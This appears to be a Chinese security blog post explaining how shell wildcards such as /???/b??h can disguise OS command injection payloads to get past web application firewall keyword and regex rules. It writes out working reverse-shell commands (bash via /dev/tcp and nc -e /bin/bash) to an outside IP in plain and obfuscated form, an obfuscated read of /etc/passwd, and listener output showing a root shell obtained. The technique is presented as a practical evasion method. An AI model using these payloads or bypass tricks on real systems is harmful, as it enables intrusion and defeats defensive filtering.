zoukankan      html  css  js  c++  java
  • WEB安全番外第五篇--关于使用通配符进行OS命令注入绕WAF

    一、通配符简介:

    一般来讲,通配符包含*和?,都是英文符号,*用来匹配任意个任意字符,?用来匹配一个任意字符。

    举个例子使用通配符查看文件,可以很名下看到打卡的文件是/etc/resolv.conf:

    1 └─[$]> sudo head -5 /???/r????v.c??f
    2 #
    3 # macOS Notice
    4 #
    5 # This file is not consulted for DNS hostname resolution, address
    6 # resolution, or the DNS query routing mechanism used by most

    同理,删除文件的时候,如果删除所有a开头的文件:

    1 rm -f a*

    以上大概简要说明了什么是通配符

    二、支持通配符的shell

    从上文中可以看出Linux、Unix类操作系统命令行对于参数或者命令的值是支持通配符的,name命令本身是否支持通配符呢?

     1 └─[$]> sudo /???/c?t /???/r????v.?o?f
     2 #
     3 # macOS Notice
     4 #
     5 # This file is not consulted for DNS hostname resolution, address
     6 # resolution, or the DNS query routing mechanism used by most
     7 # processes on this system.
     8 #
     9 # To view the DNS configuration used by this system, use:
    10 #   scutil --dns
    11 #
    12 # SEE ALSO
    13 #   dns-sd(1), scutil(8)
    14 #
    15 # This file is automatically generated.
    16 #

    可以看出来,命令部分识别/???/c?t => /bin/cat

    三、WAF规则集:

    WAF对于payload部分的检测和响应(放行还是阻断)基于WAF引擎的固有的一套规则

    例如对于OS Command Injection的payload过滤:

    rule1   -> 过滤 | (%7c)字符 &的URL编码%26 甚至/(%2f)等等,过滤反引号``

    rule2  -> 过滤命令关键字等等

    rule3  -> 正则表达式匹配

    四、绕WAF

    1、发现/etc/passwd ->会报警,/???/p????d则不会,因为匹配的正则很可能这么写的匹配/[w]{1,}/[w]{1,} 对于rule3

    2、举一个反弹shell的bash简单命令,这个对于rule2比较合适

    //正常的反弹shell的命令
    #bash -i >& /dev/tcp/192.168.1.102/4444 0>&1
    #/???/b??h -i >& /dev/tcp/192.168.1.102/4444 0>&1
    可以成功

    在测试一个使用nc直接反弹的例子:

    1 #正常情况下:
    2 nc -e /bin/bash 192.168.1.101 4444
    3 nv -p 4444 -l -v

    可以转换成:

    1 /???/nc -e /???/b??h 192.168.1.101 4444
    2 # 我这里/bin下有个nl命令,所以n?打不出来,否则可以用n?来替换nc,且ip地址可以转换成为长整数

    结果

    1 [********@***]# nc -p 4444 -l -v
    2 Ncat: Version 6.40 ( http://nmap.org/ncat )
    3 Ncat: Listening on :::4444
    4 Ncat: Listening on 0.0.0.0:4444
    5 Ncat: Connection from ******.
    6 Ncat: Connection from ******:43568.
    7 whoami
    8 root

    搞定了

    综上,这个办法还是很有用的。

  • 相关阅读:
    转面函数
    物体零层级的中间变量
    建模过程中的模型模式。
    关于位置的东西 这里的写法。
    建模小函数
    modPanel.getCurrentObject() 当前选择的修改层级的 基础物体。
    由程序改写的对齐资料。还是资料不完善
    界面资料 用的是内部数子外部字符显示,计算时还是用数字因为数字不字符快
    可能会更新场景 这个就是换了全局函数防止出错,加入的报错系统
    repo sync problems – Android Eclair
  • 原文地址:https://www.cnblogs.com/KevinGeorge/p/8444583.html
Copyright © 2011-2022 走看看